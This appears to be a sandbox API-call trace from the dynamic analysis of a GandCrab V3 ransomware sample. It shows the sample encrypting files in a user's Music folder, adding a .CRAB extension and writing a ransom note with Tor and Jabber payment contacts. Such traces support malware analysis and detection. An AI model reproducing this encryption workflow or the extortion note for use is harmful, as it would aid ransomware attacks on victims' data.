	[0130.912] CryptGetKeyParam (in: hKey=0x320f710, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.912] CryptEncrypt (in: hKey=0x320f710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0130.913] GetLastError () returned 0x0
	[0130.913] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.913] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\uf6jiqhlovtlpu3.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0130.913] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.914] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.914] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x13e1b, lpOverlapped=0x0) returned 1
	[0130.928] VirtualAlloc (lpAddress=0x0, dwSize=0x13e20, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.929] VirtualAlloc (lpAddress=0x0, dwSize=0x13e20, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0130.931] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.932] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffec1e5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.932] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x13e20, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x13e20, lpOverlapped=0x0) returned 1
	[0130.932] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.933] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.936] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.936] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.936] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0130.936] CloseHandle (hObject=0x3ec) returned 1
	[0130.937] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.937] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.937] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.937] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.937] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.938] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.938] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0130.938] FindClose (in: hFindFile=0x320fa90 | out: hFindFile=0x320fa90) returned 1
	[0130.938] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.938] lstrcmpW (lpString1="N0vlVpKB.wav", lpString2=".") returned 1
	[0130.938] lstrcmpW (lpString1="N0vlVpKB.wav", lpString2="..") returned 1
	[0130.938] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="N0vlVpKB.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav"
	[0130.938] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.938] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav") returned 40
	[0130.938] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav") returned 40
	[0130.938] lstrlenW (lpString=".wav") returned 4
	[0130.938] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.938] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0130.939] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.939] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav") returned 40
	[0130.939] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav") returned 40
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="desktop.ini") returned 1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="autorun.inf") returned 1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="ntuser.dat") returned -1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="iconcache.db") returned 1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="bootsect.bak") returned 1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="boot.ini") returned 1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="ntuser.dat.log") returned -1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="thumbs.db") returned -1
	[0130.939] lstrcmpiW (lpString1="N0vlVpKB.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.939] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.939] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB") returned 45
	[0130.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0vlvpkb.wav")) returned 0x20
	[0130.939] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav", dwFileAttributes=0x20) returned 1
	[0130.940] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0vlvpkb.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0vlvpkb.wav.crab")) returned 1
	[0130.941] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.941] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB"
	[0130.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB.CRAB"
	[0130.941] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0130.943] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.944] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.944] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0130.944] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.944] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.944] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0130.947] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.947] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.947] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.947] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0130.947] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0130.947] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.948] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.948] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.948] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0130.951] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f790) returned 1
	[0130.951] CryptGetKeyParam (in: hKey=0x320f790, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.951] CryptEncrypt (in: hKey=0x320f790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0130.951] GetLastError () returned 0x0
	[0130.951] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.951] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0130.954] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f810) returned 1
	[0130.954] CryptGetKeyParam (in: hKey=0x320f810, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.954] CryptEncrypt (in: hKey=0x320f810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0130.954] GetLastError () returned 0x0
	[0130.954] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.954] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\N0vlVpKB.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0vlvpkb.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.954] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.955] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.955] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x12313, lpOverlapped=0x0) returned 1
	[0130.975] VirtualAlloc (lpAddress=0x0, dwSize=0x12320, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.977] VirtualAlloc (lpAddress=0x0, dwSize=0x12320, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0130.980] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.981] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffedced, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.981] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x12320, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x12320, lpOverlapped=0x0) returned 1
	[0130.981] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.982] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.985] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.985] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.985] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0130.985] CloseHandle (hObject=0x3e8) returned 1
	[0130.986] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.986] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.986] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.986] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.986] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.987] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.987] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.987] lstrcmpW (lpString1="uSZcy00OxWQqA65CuGl_", lpString2=".") returned 1
	[0130.987] lstrcmpW (lpString1="uSZcy00OxWQqA65CuGl_", lpString2="..") returned 1
	[0130.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="uSZcy00OxWQqA65CuGl_" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_"
	[0130.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\"
	[0130.987] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.987] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.988] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.988] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.988] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.988] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.988] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\\\CRAB-DECRYPT.txt") returned 66
	[0130.988] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.989] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.989] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0130.990] CloseHandle (hObject=0x3e8) returned 1
	[0130.990] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.990] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\") returned 49
	[0130.990] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\*"
	[0130.990] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320fa10
	[0130.990] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.990] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.990] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.990] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.990] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.990] lstrcmpW (lpString1="5YcYY8n0GHi", lpString2=".") returned 1
	[0130.990] lstrcmpW (lpString1="5YcYY8n0GHi", lpString2="..") returned 1
	[0130.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="5YcYY8n0GHi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi"
	[0130.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\"
	[0130.991] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.991] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.991] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.991] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.991] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.991] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.991] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\\\CRAB-DECRYPT.txt") returned 78
	[0130.992] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0131.009] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
